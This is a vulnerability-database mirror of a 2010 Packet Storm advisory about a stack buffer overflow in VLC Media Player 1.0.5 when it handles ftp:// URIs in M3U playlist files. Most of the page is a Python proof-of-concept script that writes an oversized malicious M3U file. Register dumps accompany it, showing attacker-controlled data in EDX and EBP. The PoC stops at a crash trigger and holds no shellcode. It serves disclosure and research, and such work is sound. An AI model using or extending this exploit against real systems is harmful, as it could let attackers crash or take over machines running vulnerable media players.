Lucene search
K

VLC Media Player 1.0.5 (Goldeneye) Buffer Overflow

🗓️ 07 Jul 2010 00:00:00Reported by Praveen DarshanamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

Vulnerability in VLC Media Player 1.0.5 (Goldeneye) with M3U files FTP URI handler leading to buffer overflow. Registers point to user supplied data, potentially leading to code execution.

Code
`There a Vulnerability in VLC Media Player v1.0.5 (Goldeneye) when handling M3U files with ftp:// URI handler.  
  
When we open the malicious file our EDX and EBP registers point to the user supplied data which might lead to code execution.  
State of the registers when we opne the malicious file is:  
  
EAX 00000000  
ECX 7008A2B7 ASCII ";type="  
EDX 01DC743B ASCII "  
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ  
EBX 01C8C120  
ESP 0324FB78  
EBP 01D19008 ASCII "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD  
ESI 00000000  
EDI 00000000  
EIP 77C47C7E msvcrt.77C47C7E  
C 0 ES 0023 32bit 0(FFFFFFFF)  
  
  
Attaching image for above stack trace and PoC script.  
  
#############START PYTHON########################  
import sys  
import string  
  
print "\n\n***VLC Player M3U file ftp:// URI Handler Remote Stack Buffer Overflow***\n"  
  
#Tested on Microsoft Windows XP Professional SP3  
# Application Vulnerable: VLC Media Player v1.0.5 (Goldeneye)  
# Not Vulnerable: VLC Media Player v1.1.0 (The Luggage), Checked on windows 7  
  
#edx register points to our data afetr 4255 bytes  
buf1 = "ftp://" + "PRAV" + "\x44" * 4251  
buf2 = buf1 + "A" * 4  
buf3 = buf2 + "Z" * (100000-4259)  
  
print "100000-4259 is: ", 100000-4259  
print "Creating malicious M3U file . . .\n"  
  
filem3u=open('m3uftp.m3u','w')  
filem3u.write(buf3)  
filem3u.close()  
  
print "Created M3U file. Open with VLC Media Player v1.0.5 (Goldeneye)\n\n"  
  
  
  
'''  
EAX 00000000  
ECX 7008A2B7 ASCII ";type="  
EDX 01DC743B ASCII "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ  
EBX 01C8C120  
ESP 0324FB78  
EBP 01D19008 ASCII "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD  
ESI 00000000  
EDI 00000000  
EIP 77C47C7E msvcrt.77C47C7E  
C 0 ES 0023 32bit 0(FFFFFFFF)  
  
  
'''  
#Hi to all Indian Hacker$, Andhra/ Telangana Hacker$ ;)  
# Praveen Darshanam  
#############END PYTHON###########################  
Hi to all Indian Hacker$, Andhra/ Telangana Hacker$ ;)  
  
Best Regards,  
Praveen Darshanam,  
Security Researcher  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation